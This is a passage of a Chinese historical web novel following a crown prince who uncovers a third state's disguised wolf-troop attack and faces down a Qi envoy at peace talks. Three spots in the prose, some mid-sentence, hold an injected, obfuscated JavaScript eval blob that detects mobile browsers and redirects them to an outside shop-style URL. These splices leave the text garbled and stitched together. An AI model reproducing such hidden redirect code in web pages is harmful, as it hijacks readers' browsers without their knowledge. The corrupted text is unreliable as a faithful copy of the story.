去国之前,萧恒花了整整一年帮他戒膏。汤惠峦脱了层皮,从这黑泥地狱里爬出来,投向另一个赤火地狱。他想到齐国人不会轻信他,但没想到还是会以此试探他。 高踞将军府的公孙兄弟如同狼狈,用阴寒的目光审视,把一只乌黑药丸递给他。 听闻汤二公子服用过此物。公孙冶说,尝尝我国所制,要比梁太子禁的那些滋味更好。 他接在手中,略作迟疑。公孙铄已晏然笑道,二公子不是用过此物么,怎么瞧不见半分欣喜之色? 汤惠峦抬首笑道,在下喜不自胜,不知如何道谢。梁太子杀尽柳州后,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732373|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下倾家荡产也难寻此物了。 接着他合入口中,笑容未改。只有他自己知道,绝望的冷汗湿透内衫。 不久,齐军谋划突袭大梁,正需要一个梁人为之筹划,汤惠峦自然被选中了。公孙兄弟策定首袭城市,最终圈定樾州。汤惠峦不知这是对自己的刺探还是别的目的,婉转道:将军之师自然神兵,只是樾州与齐国并不接壤,如何率兵抵达? 公孙铄笑道,这就不劳二公子费心。笔墨伺候,让二公子签写军令。 狼毫蘸墨,被塞进汤惠峦冰冷的手里。公孙冶似笑非笑,推三阻四,二公子旧情未却啊。也是,樾州到底是你的故乡。但你知道我们要打樾州,若有贰心,怎么办呢? 汤惠峦低眉顺目,将军说哪里话。我被梁皇帝父子远黜,早已离心离德。樾州虽是在下故土,但已无故人。将军以此重任相委,在下感激涕零。 他把住手腕,走笔如龙。 那个夜晚,他哆哆嗦嗦地左手提笔,以“抱香”的名义向郑绥去信,写下那泣血涟如的四个字,樾危速救。 信件之速,居然比不上齐军之速。 他被携在军营,在公孙旗帜的阴影下,听见樾州城门夜中打开、齐军拔刀狞笑之声,他听到兄弟姐妹的惨叫、嘶嘶舞动的烈焰,以及樾州大地流血的哀号。 其罪何赎。 …… “你没有给齐军带路。”萧玠深吸口气,“那他们是怎么进来的?” 汤惠峦哑声道:“我不知道,我真的不知道……他们没有走委蛇山,里面的瘴气野兽太多了他们不敢冒那个险。但除了委蛇山,实在没有别处与齐国接壤。但他们就是找到了一条山路。” 汤惠峦深吸口气:“是一座很矮的山,被充分开拓过,有专门修好的山路和走道……过了那里,过了那里居然就到了樾州……我本以为他们会走委蛇山,我本以为信会比他们先到……” 难道舆图有错漏,有这样一处没被记载的山峰? “那狼兵呢?”萧玠问,“他们有狼兵,为什么不早早使用,非要等节节败退逐出樾州之后,才来咬这不痛不痒的一口?” “齐国的确有狼兵营,但现在还没有投入使用。”汤惠峦道,“在齐营时,公孙铄可能出于威吓之意,带我巡过狼兵营。他们有一种哨子,吹动时能催动狼群,我听到营地外的狗都叫了起来……这是一种征兆,今夜我就是据此判断的。但……” “但什么?” 汤惠峦咳嗽一会,道:“但用哨子催动狼兵,十次里能失败五次,五次中狼群会躁动反戈,反而把不少齐军撕咬吞食……风险太大,战场更是瞬息万变,他们不敢轻易动用。二十年前公孙子茀之后,就已经没有人能训练出一支用于作战的狼军团了。” 狄皓关皱眉,“但这次狼兵所举的确是公孙军旗,所着也是齐国军服。” 萧玠问:“俘虏怎么说?” 狄皓关道:“这应该是一支先锋队,士兵不过五十人。狼群冲破后,几乎被我们格杀殆尽。几个俘虏……在狱中自裁了。” 没有活口。 萧玠呼吸急促,说:“没有见公孙铄?” 狄皓关缓缓摇头。 他本以为公孙铄丧弟心痛,不顾齐国和谈偏要再挑战争,但如果并非如此呢? 如果是有人假借齐国之名再次攻城,想让齐梁再陷战火,从而坐收渔利呢? 这样一个可以无声无息潜入大梁,还已经暗中训练狼兵的第三方…… 萧玠一下子坐到地上。 狄皓关匆忙搀扶他,萧玠摆摆手,“叔叔,你赶紧把狼兵的军用找出来,能不能看出什么蛛丝马迹。二郎,我求你好好再想一想,齐军有什么异常,公孙兄弟和什么人有交集?还有,咬死狼兵是齐军麾下不要松口,对外就说我怒火中烧,有征齐之意……此事非同小可,我先回去给陛下上书。” 萧玠飞快赶回公廨,整理纸笔要写奏折。旭章坐在屋里念书,见他回来,清清脆脆叫道:“阿耶!” 萧玠应声,一边研墨一边问:“囡囡在念什么?” “爹布置的春秋左传,烛之武退秦师。” “哦,”萧玠提笔问,“念到哪里?” 旭章脆生生答:“越国以鄙远,君知其难也,焉用亡郑以陪邻?” 萧玠手指一僵,喃喃道:“越国以鄙远……” 是,齐国西北与大梁毗邻,但和樾州并不接壤。他们和樾州隔着…… 萧玠丢掉笔,掉头去书架翻找舆图。他从樾州和齐国之间,找到了一块幽光闪烁的土地,它像一道隐秘的桥梁也像一支锋利的暗箭连缀在两者之间。 为什么齐军没有惊动任何隘口如同天降,为什么齐梁即将和谈之际会有狼兵攻城,为什么秦寄会和狼兵一起出现在这里……萧玠之前有无数疑问,在这一刻,所有的真相在那块桥形土地上豁然大白。许多年前他潮州的父亲险些折断于它的主人之手,许多年后,他和樾州再度沦入其股掌之中。 萧玠听见玉升元年父亲冰冷如铁的声音,今天被他吐出嘴里。 “西、琼、段、映、蓝。” 128.第 128 章 狄皓关举起油灯,照亮狼兵团骑兵所用的鞍鞯马镫,说:“殿下请看,这些东西磨损很小,都是新物。自然,也有可能是战前更换新的战备。但殿下再看这里。” 他叫人拖来一匹俘获的战马,黑夜之中鸣叫不止,正要扬蹄,就被四个等候已久的士兵一拥而上按倒在地。狄皓关让人将马蹄抬起,萧玠一看,也是新钉的铁掌。 狄皓关挥手,一个士兵跪地,拿匕首将那铁掌卸下,露出马蹄。狄皓关道:“马蹄底部的钉眼相对窄小光滑,说明在这之前,这匹马没怎么钉过掌。蹄部磨损要比寻常战马严重,也是不钉掌的缘故。不钉掌的马,大部分是野马。” 萧玠说:“还有一种情况。” 狄皓关颔首,“西琼敬奉马面神,认为马是生灵之长,骑马作战是马的恩赐。琼兵作战,一律不用马具。而且狼兵袭城当夜,我们的部下听到他们驱马的口哨,以此来控制马的前进和方向。殿下知道,这本是马鞭和缰绳的功用。也就是说,他们的战马虽然配备马具,但在作战时并没有真正使用。那这些东西就只起到一个观看的作用。” 萧玠了然,“叔叔的意思是,他们故意给自己的马装配马具来混淆视听。” 狄皓关点头,“不用鞭策的战马太过显眼了。但马是战场上最重要的武器,战时换马,不是上选。” 萧玠问:“还有其他的吗?” 狄皓关说:“我们检查了骑兵尸体,十之有九,皆穿双耳。” 西琼是少有的男子穿双耳戴耳饰引以为荣的地区。 萧玠不知道是长生作用还是旁的,只觉胸口胀痛,不得不抓紧栏杆大口呼吸起来。狄皓关晓得他有肺症,大惊失色道:“快叫军医,快叫郎中!” 萧玠按住他手腕示意不必,自己整条手臂都遏制不住颤抖。 原来是这个渔翁,怎么是这个渔翁? 南秦的公夫人,他阿耶的妻子,他弟弟的……母亲。 他跪在地上,突然感到二十余年前萧恒锥心刻骨的痛苦。 秦琼干戈化玉帛,潮州玉升年间的血仇一直未能得报,然后有一天阿耶告诉阿爹,我要结婚啦,就是当年逼得潮州近乎绝户、逼得你杀吃活人恶贯满盈的祸首段映蓝……这种痛苦和愤怒他是怎么忍受下去的?他是怎么看怀着自己孩子的心上人和自己的血仇成亲,还要恭祝百年好合? 这一刻萧玠痛哭流涕,不为自己,为他当年抗争无果的父亲。为他那桩沉默的痛恨和比痛恨还沉默的,爱。 这个多少了解帝王家史的狄皓关什么都没说,他伸出手臂,用一个长辈而非臣子的方式把萧玠抱在怀里。萧玠脸埋在双掌之中,浑身颤动许久,哑声说:“孔如期持节将至,梁齐会谈在即,不能在这时候出现分毫差池。叔叔,此事不要对外宣扬。” “臣明白。” “对西琼那边也不要在明处提防。但训令全军,做好战斗准备,派人加紧绘制西琼舆图,征做适宜那边气候地形的甲胄。今日回去,由你主持,立即聚集全部四品及以上高级军官,商议伐琼方案。”萧玠已经平静,“狄将军,本宫将此事全权托付给你。” 狄皓关双膝跪下,“臣必不辱命。” 他将萧玠搀扶起来,斟酌问:“那那位甘郎……” 萧玠遽然转头。 “臣绝对没有探听殿下私隐之意。”狄皓关道,“但甘郎行事并未遮掩,若要对琼作战,他要如何安置,还请殿下示下。” 他说的“安置”,不是“处置”。 萧玠得知,面前这个人能体贴自己的处境,轻声道:“叔叔既然这么说,是知道他和我的关系。我也请叔叔明白,不论何时,我必须保他万全。我其实不想让他一个小孩子卷进这些事情,但……” 这样自欺欺人的念头叫萧玠忍不住自嘲:“罢了,为免生变,能瞒一日是一日。我不会叫任何人伤害他,也不愿和他兵戎相见。等和谈结束,我就送他回南秦。秦公……会晓得我的心意。” *** 仲春即将从硝烟里滑过,和平的消息终于迫近了。樾州人民痛恨齐国,但向往和平。他们对这次和谈的态度像一丛即将枯萎的野花面对一沟污水,内心是痛恨的,但生命是雀跃的。这半年以来,太子萧玠赢得了他们彻底的拥戴,他们再多意见,也愿意跟随这轮旭日去迎接一个和睦的未来。 赶在齐国马车驶来前,崔鲲率先奉旨抵达樾州。萧玠亲自出城相迎,一向淡漠的虞仙翚这次也站在前列,向山口频频张望。晌午时分太阳高悬,金色阳光填满山丘们青色的伤癍,暂时把山城面容粉饰得姣好如初。萧玠听到春风相送的马蹄声,紧接着,一支车马辚辚的队伍驶出山关。为首者穿大红官袍,骑在一匹黑马背上,一看见那身影,旭章已经招手叫道:“娘,娘!” 崔鲲先按君臣之礼拜过萧玠,又抱过旭章好好亲了亲。萧玠笑道:“听见你要来,高兴得一宿没睡着觉。” 崔鲲放下女儿,整理官袍,这时听见人叫:“使君。” 她对上虞仙翚目光,很自然地滑过去,只问萧玠:“没给殿下添麻烦吧?” 萧玠正要答,突然从她目光中领悟,她语中所指不是旭章而是虞仙翚。那股若有似无的杜鹃花香因两人相遇在这座菊花之城中悄然绽放。萧玠微笑道:“虞织造组织妇女劳动,暮为裁衣,朝为晨炊,有功社稷,等安定之后,正要为她具表请功。” 崔鲲提醒虞仙翚,“记得谢恩。” 萧玠笑道:“不拘这些虚礼。” 萧玠亲携了她的手,两个人带着女儿走在前列。崔鲲叹道:“她家本煊赫又逢骤变,小小年纪尝遍人情冷暖,性情本就疏冷。又少年才高,多少有些恃才傲物,个性也有些拧巴。殿下不同她计较便是无限天恩了。” 崔鲲难得为人解释这许多话,更少同萧玠讲这些客气话。 萧玠道:“鹏英很器重她。” “织造离不开她,柳州生计可以说是她撑起了半边天。这么个女孩儿。”崔鲲叹道,“我瞧她,总像瞧见当年的自己。她是一匹千里宝驹。” *** 通往公廨的路上,发生了一支插曲。 临近府狱时,一个皂衣公人边抹眼泪边在大道上烧纸。纸灰纷纷扬扬,沾染萧玠衣裳。萧玠再宽厚待下,无论如何也是冲撞。 东方彻忙走出队伍,去喊那公人:“当街烧纸成何体统,还不赶紧向殿下谢罪。” 那公人忙拾掇纸灰,冲萧玠连连磕头求饶,抽噎声还没停住。 东方彻道:“这是黄岩云的兄弟,叫岩峰,州府缺人,岩云便荐他来做个帮手。才任职几天,这就……” 萧玠亲自扶他起来,道:“黄县尉为救我而死,是我的恩人。我怎么会怪罪他的兄弟?只是白日各有职务,你是不是也该先去做自己的差事?明达,下午送些元宝酒浆,帮我也祭奠一下吧。” 黄岩峰谢恩,仍抓住他手臂不放,问:“殿下,什么时候杀了汤氏狗贼泄愤?我阿兄是听了他的叫喊出去才遇难的,殿下!” 汤惠峦之事分属机要,对外仍是国之奸细,萧玠也不便提起,只得道:“他的事干系重大,我不能私自处决,还要听陛下圣明决断。” 见黄岩峰犹有不忿,东方彻忙打断:“殿下不怪罪你,你也不该得寸进尺。赶紧去忙活吧,刚刚徼巡队还找你呢。” 黄岩峰攥紧拳头,狠狠擦了把脸,抱起没烧完的纸钱告退了。 那堆纸钱烧在大街当中,由公人急忙赶来清扫干净。哪怕站在后侧的虞仙翚,衣襟也沾了灰烬,慢慢掸着衣袖不知想什么。 萧玠对崔鲲道:“厢房已经打扫出来了,一路舟车劳顿,鹏英先稍作歇息。半个时辰后,咱们前堂见面。” 半个时辰又过两刻,萧玠还没等到崔鲲。几个送饭食的婆子说:“倒见了虞织造,似乎给天使量体裁衣去了。要不我们去催一催?” 萧玠笑道:“也不急,裁衣是件功夫活。崔使君不是废公之人。” 再过两刻后,崔鲲匆匆赶来。萧玠笑道:“屋里这么热么,鹏英鬓角怎么湿了?” 崔鲲只笑道:“紧走了两步,叫殿下多候了。” 萧玠笑道:“你却给我打这些官腔。你做这个伯乐,虞娘子也惦记你的知遇之恩,给你裁了新春袍?” 崔鲲一愣,“是。” “言归正传吧。”萧玠道,“鹏英没有宣旨,那陛下是有暗处的口谕,是不是?” “知父莫若子。”崔鲲笑起来,“殿下知道,齐军有意与我们交换战俘。孔如期将至,齐国先头部队出动,把咱们的俘虏送到了委蛇山边上。这件事,殿下怎么想?” 萧玠一张脸沉静下来,片刻后道:“我起初是有杀俘的心。但这些畜生的性命,比不上我们出生入死的战士。我答应换俘,也已经派人把齐军俘虏押送去边境了。但齐国必须把屠城的军官交给大梁,这是我的条件之一。” 崔鲲道:“汤惠峦殿下打算如何处置?” 萧玠一下子了然,萧恒既然派崔鲲前来,决计告知她汤惠峦的真实身份。萧玠问:“陛下有何旨意?” 崔鲲道:“十数年来,齐国细作深植大梁,已成肘腋之患。我们在清除之余,更需要清楚对方动向。但真正打入齐国上层的内线只有一个‘抱香’。樾州之变后,汤惠峦的内奸身份确凿无疑,但从另一个角度看,他会取得齐人完全的信任。” 萧玠揣测:“陛下的意思是……把他作为俘虏送回,让他这条内线继续安插齐国?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739267|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔鲲道:“陛下说,先要问汤二郎的意思。他若不愿,绝不强求。等齐梁和谈后,陛下会赦免其罪,诏告四海为其昭雪。” 萧玠笑了一下,“我明白了。” “陛下这道旨意,看似逼他,实则救他。” 对汤惠峦来说,有什么可昭雪的?那道军令的的确确是他写的,樾州的的确确因此蒙此浩劫,他的家乡因为他沦于战火。就算陈明真相,樾州人民真的会理解接纳他,再也不唾他骂他怨怼他? 他的罪孽永世难赎,他的人生和汤氏被刨的祖坟一样,再也无法修复如初了。 更何况…… 萧玠想起前几日京中送来的书信。 汤惠峦之母因其子罪过,也追随先夫悬梁自尽了。 父母皆因其而死,汤惠峦不会活下去。 除非他活着,还有莫大的价值。 萧恒把这忍辱负重的价值施加给他。 汤惠峦一定会活下去。萧恒太了解一个人赎罪的心。为了这颗心,他什么都做得出来,什么都撑得下去。 萧玠静静看着自己的掌心,碎纹密补,像一段叶脉。他道:“我亲自去和他说。” *** 黄昏时分,萧玠从府狱回来,向崔鲲点了点头。 意料之中。 崔鲲叹口气:“兹事体大,以汤二郎如今身体也难以戴枷远行。臣会以犒军名义前往边关,叫他坐轿跟在队里。等快到西境,再给他换上刑具。” 萧玠自言自语:“他家里还有个弟弟,也不能让他写封信。” 崔鲲只说了半句:“事已至此。” 堂内一片凝滞,是死水潭无声无息地弥漫上来了。崔鲲搜肠刮肚,终于想到能打破僵局的话题:“西塞战局安定,小郑快回来了么?” 说到郑绥,她看到萧玠眼中华彩烟花一样一绽。萧玠笑了笑,有点温柔韵味:“是,已经在回来的路上,说不定你们能碰上他。” “若碰上他,要不要捎什么话?” 崔鲲本是打趣,不料萧玠认真思索起来。他脸上升起一片晚霞般的沉静,想了这么一会脸颊居然红了,说:“等他回来吧,回来我亲自和他说。但有件东西,还望你转交。” 他终于将那只香囊交给崔鲲。崔鲲看到表面的淡淡血迹,一时心惊,也摸不准萧玠用意,“殿下这是……” 萧玠道:“他若问,就说陌上无花,望他快马加鞭,速速归来。”又补充一句:“女儿想他了。” *** 崔鲲告辞出门,在不远处看到静候的虞仙翚。 崔鲲脚步一顿,还是走上去,问:“有事?” 虞仙翚点点头。 崔鲲道:“殿下在屋里,你去就是。” 虞仙翚道:“我不找他。” 崔鲲叹口气,慢慢往自己厢房走,问:“找我做什么?” 虞仙翚跟在她身边,这时候她才会流露出一些小女儿情态,道:“你们什么时候走?” 崔鲲道:“明日一早。” 虞仙翚问:“我能跟去么?” 崔鲲道:“我去办公,你这次不能。” 虞仙翚应一声,没有再问,也没有离开。两人静静行走,直至崔鲲房门前。 崔鲲问:“还有事?” 虞仙翚仰头看她,“我再给你量一量尺寸,上次有个数目,我记得不对。” 崔鲲看她一会,没有应允,也没有逐客。她先行跨进门,然后听到女孩裙摆扫过门槛的窸窣声响,和门扇的轻轻合拢之声。 *** 崔鲲身负公事,没有耽搁太久。当夜人定之时,一个瘦如竹竿的身形被搀扶进一顶青呢软轿,第二天晨光初现,崔鲲就在樾州公人的护送下挥鞭西去。鱼肚白的天光下,天地一片汪洋,一切事物变得模糊不清。那顶小轿像一只远离河岸的孤舟,一片吹离树根的落叶,从此去国万里,未知此生能否再有回归之时。 之后萧玠又给郑绥去了封信,不涉战事,是一封实实在在的家书。问他到了哪里,伤有没有养好,香囊收到了吗,又道樾州集市基本恢复,最近在售卖一种青梨,个头不大但汁多甘甜。现在也有枇杷卖,自己也买了一些,还有些苦涩,吃不甚好,或许做枇杷膏要好些?你能不能快些回来,不然果子存不住都要坏掉,白白浪费钱。 这封信清晨送出,东方彻在傍晚匆匆赶来:崔鲲队伍于委蛇山东部丘陵地带遭遇伏击,对方正是泥牛入海的公孙铄部队。 萧玠没时间判断这是公孙铄的自作主张还是孔如期的早有预谋,急遣军队救援时,第二封书信传来。 齐国使团已近菊山,大抵明早至樾。 改变奉皇二十二年西部战局的一槌,终于要落下来了。 129.第 129 章 现在的我们不信也得相信,萧玠的确是一株树的生命。命运在各个要紧关头对他进行修剪,给他留下伤疤也的确让他更好长成。奉皇二十二年那把剪刀的出现是有预兆的。那天早晨,萧玠看到远处的朝云一分为二,朝阳从云层腰际剪出一条深红血线,很像一天之中夕阳的尾声。这时候东方彻走到萧玠身边,说:“狄帅已经接到齐使,请殿下移驾君浦。” 萧玠放下面前九道珠帘,抬起衣袖。 城门在礼官唱喏声中轰然打开。 会盟地点选在菊山之下,君水之畔。樾州人民合议之后,决定把这块祭祀山神的圣地变作洗刷耻辱的宝地。这注定了本次和谈的与众不同。 齐安国将军孔如期手持节钺,诧然看向眼前的迎接队伍。 旗阵之下,伫立两列梁军,个个刀剑出鞘,长枪上指,不是款待之态,俨然御敌之姿。上到狄皓关下到士卒,额头全部凝固一条深红颜料。而他们脚下的土地,已被染成同样的深红,每走一步,腥气翻腾。 两军会晤,彼此寒暄。副使询问:“地上所洒是血?” “是血。” “牲口血吗?”副使奇怪,“这是贵地的什么风俗?” “我们这边不好用人血染地衣。”狄皓关说,“也不是什么风俗。以此铭记贵军所作所为而已。” 孔如期脸色不好看了,狄皓关却神态自若,抬臂道:“太子殿下已在坛上等候。尊使就和我一块走一走这条血路吧。” 礼乐鸣响。 两位将军看似相扶实则相挟地走向台上。 连通台上台下的阶梯之处,大梁龙旗高举,秦寄被旗影遮蔽的眼中寒光闪烁。他嘴里却说:“我懒得看你们狗咬狗。” 东方彻笑意温文,“太子殿下抽不开身,特意携您一道观礼。这是待客之道。” 秦寄问:“你在这里干什么?” 东方彻道:“殿下怕甘郎怠慢伤口,托下官前来看顾。” 秦寄冷笑:“是看顾,还是监视?” 东方彻也笑了:“甘郎言重。” 东方不把他的带刺之语放在心上。这个少年人是个言行相悖的怪人。他口出狂言,还常常诽谤今上,按道理能砍头八百次,结果太子把他捧手心当眼珠子。他这样的身手,要说走谁也拦不住,偏偏为太子一句话留在这里,冲着风口阴阳怪气。 奇怪,太奇怪了。娇娇说的对,深宫内院的事靠他琢磨,能琢磨破头皮。 * 自孔如期出现后,秦寄的身体就弓弦般紧绷起来。他的视线追逐孔如期的脚步。孔如期离萧玠越近,他那根弦绷得越紧。似乎孔如期手一搭剑柄,他当即能把自己弹射出去。 他并不知道委蛇山之变,但他对齐国的诚意不存在丝毫信任。 就像他对萧玠不存在任何亏欠,但他总会对萧玠负一些责任。 以一个天知地知你知我知的身份。 * 孔如期登台,躬身拜见,“梁太子无恙。” “感谢将军问候,本宫身体安健。”冕服装饰的萧玠,俨然是一尊刀枪不入的皇太子金像。他脸上浮现微笑:“请入座。” 二人相对落座,士兵捧上酒水,吏员奉上文书。 萧玠单刀直入:“今日会面,是要共商停兵之事。大梁的条件在这里了,将军过目吧。” 孔如期打开文书,先看到加盖的皇太子印。萧玠的条件大致有三: 齐军立即停战,全军撤离大梁境内,归还在梁驻地四郡。 要求齐皇帝下诏罪己,出供全部侵樾战犯,并送还战俘,安葬阵亡梁兵。 赔偿白银七千万两。 孔如期久久未语,萧玠问:“有什么疑问吗?” “罪己诏非重大凶灾不能颁布,此系国君威严,在下草芥之身不敢允诺。还有太子一直要求的入樾军官。”孔如期道,“将士马革裹尸为国征战,若因母国屈膝求和而被出卖,不是君臣之义。这两件事,在下不能答应。” 齐国的口风转了。 春风如刀,鼓动旗帜呜呜作响。 萧玠笑意未褪:“朝令夕改,果然是贵国的作风。” 孔如期也笑:“时移世易而已。” 如此看来,公孙铄伏击之事,他们至少听到了风声。 关键就在公孙铄能否一战得胜,擒住这一梁之重臣。 这像一块铁锭坠在萧玠心口。 公孙铄丧弟败走,哀兵如虎。而崔鲲虽有护卫,到底是个文臣,还是女孩儿。 孔如期观察萧玠神色,悠悠开口:“既然是和谈,自是彼有彼道己有己道。我们的条件,也请太子一览。” 副使将文书捧给萧玠。萧玠逐一看过,脸上稳丝未动,“贵使应该清楚,现在是贵国向我军求和。本宫没叫你们卸甲投降,已经是给贵国最大的颜面了。你如今还想让大梁割让椴、淑、纯、绛四郡?” 孔如期道:“这四郡本是我国故土。青龙七年,也就是梁宝圭五年,梁武皇帝强兵征纳,我国帝为苍生计不得不拱手相让。有道祖宗土地寸土不失,如今讨要回来,也是我国陛下应尽之义。不然,太子今日与我所论我军攻樾之事,和当年武帝攻齐有和差别?枉己正人,贻笑大方而已!” * 台下,秦寄一双眼睛潜在阴影里,“齐国这样‘求’你们和谈?” 东方彻抿紧嘴唇,额头的血干了,又被汗水打湿,重新鲜艳欲流。 他向一旁守卫低声道:“再探,快马出城,有没有新的军报!” * 孔如期的嗤笑声在台上响起,一根出箭后的弓弦一样,连连震动,格外空旷。自始至终,萧玠隔着一层冰凉的旒珠冰凉地注视他。等他笑不出来,萧玠才像看一个真正贻笑大方的人,缓缓道:“我只问贵使两个问题,宝圭五年,武皇帝为何亲征伐齐?” 孔如期目光闪动,只道:“梁武帝穷兵黩武,好大喜功。” “看来贵国史书没有记载这件事。”萧玠徐徐道,“宝圭三年,齐袭雁线,杀梁民五千余人,抢掠民财不计其数。宝圭四年,齐袭陇右道两州四郡,火烧云阳行宫。武皇帝兵贵神速,仅用一年时间便收复西南失地,此谓穷兵?战后休养生息重视农桑,方有二十余年的武惠之治,此谓黩武?如果这算穷兵黩武,贵国三十年对外发动大小战争二十余次,称得上一句穷凶极恶了。” 孔如期脸部肌肉因愤怒颤动,萧玠察觉这一变化,继续追逼:“第二个问题,贵使说武帝攻齐和齐军攻樾毫无差别。那本宫要问,武帝杀过平民吗,屠戮过齐国一座城池吗?贵使站在樾州土地上言之凿凿,其人言否?” 孔如期额角微泛汗意,“樾州屠城并非陛下圣令。” “那就是军队自作主张。”萧玠道,“抗旨不从,陷两国于水火,此系夷族大罪。本宫将这些罪人绳之以法,还替贵主省了午时杀人的资费阵仗。几千颗人头,砍起来要废不少好刀。” 孔如期连连冷笑:“梁太子好伶俐的口齿。都说太子礼度雍容,这就是梁国的待客之道?” 萧玠笑道:“所谓待客,礼尚往来而已。和贵使的慷慨正义、黑白颠倒相比,本宫实在自愧不如。若说大梁待客有亏,以贵国之好风好土,更称得上一句满堂禽兽,遍地强盗。” * 台下。 秦寄眼中火苗跳跃,有些兴趣,“兔子急了。” 东方彻刚和赶回的士卒嘱咐完什么,随口问秦寄:“什么兔子,齐使还带了兔子?” 秦寄视线从萧玠移到孔如期身上,眼睛暗下来。 东方彻看到,他低手往靴边一摸,再抬腕,一把匕首捏在掌中。 * 台上的风越吹越响,和幡旗振动的声音一起,在孔如期耳朵里拧成一股战车冲撞时车轮轧出的气流声。但萧玠听上去却像一把巨大剪刀当空剪动的声音。这尖锐也粗暴的声音折磨着孔如期也折磨着萧玠的神经。战争不分彼此地折磨着每一个人。孔如期真的想真的打下去吗?萧玠原本是肯定的,但这一刻注视他疲惫苍老的眼睛,萧玠一下子不知道答案。 但他明白齐国社稷之上宛如神明的皇帝的主意。这样耻辱的侵略战必须要用一场大捷洗刷耻辱,洗刷后世汗青将要铭刻的他穷兵黩武的污名。至于人命——人命是最不值钱的东西。每天都有人死去,一条两条——千条百条人命算得了什么? 孔如期可能不是良心未泯的将领,但一定是个忠诚的臣子。萧玠看到他眼中哀伤的水光跳动两下,被阴暗的火焰焚烧殆尽了。孔如期不再强撑道义,直截道:“听闻刺史崔鲲被梁皇帝许为国之柱石,用四郡来换一个支柱,很划算。” 萧玠盯着他,手心发黏,脸上没有显露半分。 身后有脚步声退去,应该是东方彻再次派人去探查消息。这么一会已经派出去三队人。 萧玠感觉胃部开始痉挛,他恶心。他想吃口酒压一压,但理智告诉他,现在任何动作都是露怯。 一旦叫虎狼逮住马脚,他们会把局面拖拽到不可想象的地步。 萧玠需要镇定下来。 他需要厘清自己能够承受的底线。 最坏打算,崔鲲被擒,局面翻转。最坏最坏,继续打仗,再打一年……不,两年。 再坏一点…… 崔鲲殉国。 萧玠察觉自己情绪产生波动,立即把这念头强压下去——对,齐军并非没有用诈可能。 是这样。一个声音在心底说。想想旭章那块证据确凿的太阳玉佩。 冷汗凝结之际萧玠的呼吸平复下来。 委蛇山伏击和齐使翌日赶到的消息几乎是前后脚传来……当时齐国使团已经距樾不远,委蛇山之变但有胜负,樾州不会比他们更晚收到。 更有可能的是,孔如期听闻战事,起了空手套白狼的心思。 要战总有输赢。 萧玠听到骰子掷在桌上骨骨转动的响声。 一半,对一半。 这似乎漫长的对峙,实际只过了三个呼吸的时间。一口浊气均匀逸出肺部后,萧玠居然露出一个微笑。 他说:“贵使很懂得攻心。本宫也曾听闻,公孙兄弟被齐皇帝许为国之长城。用一封罪己诏和一群败军之将来换长城坍圮后的太平,岂不更划算?” 孔如期蹙眉,“太子是什么意思?” 萧玠道:“听贵使之意,崔鹏英在你们帐中?” “正是。” “活着?” “毫发未损。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739268|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”孔如期话锋一转,“但和谈不成,就不一定了。” 萧玠看着他眼睛,颔首,突然冷声喝道:“左右,拿下!” 狄皓关不晓得他何故当场变色,但也没有犹豫,立即率兵拔剑上台,将孔如期围在中央。 孔如期怒火中烧,“梁太子这是什么意思?” “这句话当是我请教贵使。”萧玠看着他,“崔鹏英极重大局,不会让自己成为影响谈判的筹码。就算落在齐军手里,也只会留下一具尸体。请问贵使,何来毫发未损?” 萧玠说:“战时本宫在樾权同陛下。你出言诓骗,等同毁约,又残害我朝廷大员,人神不容。本宫拿你,应当应分。” 他扭头看向狄皓关,“传我号令,三军立即进攻,为崔鹏英报此血仇。狄帅,设香案,杀其祭旗。” 杀使之语如同穿天之石,把君水和谈砸出巨大波涛。当场众人意识到,再仁善优柔的君王也是生杀予夺的君王。萧玠摆出一副君王威仪不可侵犯的态度,别说孔如期,连狄皓关都愣了。 好在齐国副使已经高叫起来:“两国交战不斩来使,梁太子此举是要陷梁国于不仁不义之地吗?” 那股捉摸不清如同漩涡的微笑再度浮现在萧玠脸上,“多稀奇,你们先行毁约杀我大臣尚如此义正词严,我要你们的人头,就成了不仁不义。” 他站起身,厉声道:“崔鹏英鞠躬尽瘁,是我朝难得相才。本宫为崔君报仇,不怕史笔如何写我!三军何在!” 台下和声如雷:“标下在!” 在萧玠下一句话出口之前,齐国副使已经急声喊道:“崔刺史不在我们手里!” 萧玠转头看他。 他手中符节颤颤摇动,和他的身体一起节奏相同地摇摆。副使强笑道:“真不在我们手里,孔将军在同太子玩笑。” 萧玠淡淡道:“玩笑。” 他目光扫向孔如期,孔如期脸色阴沉,只得道:“是,一个玩笑。” 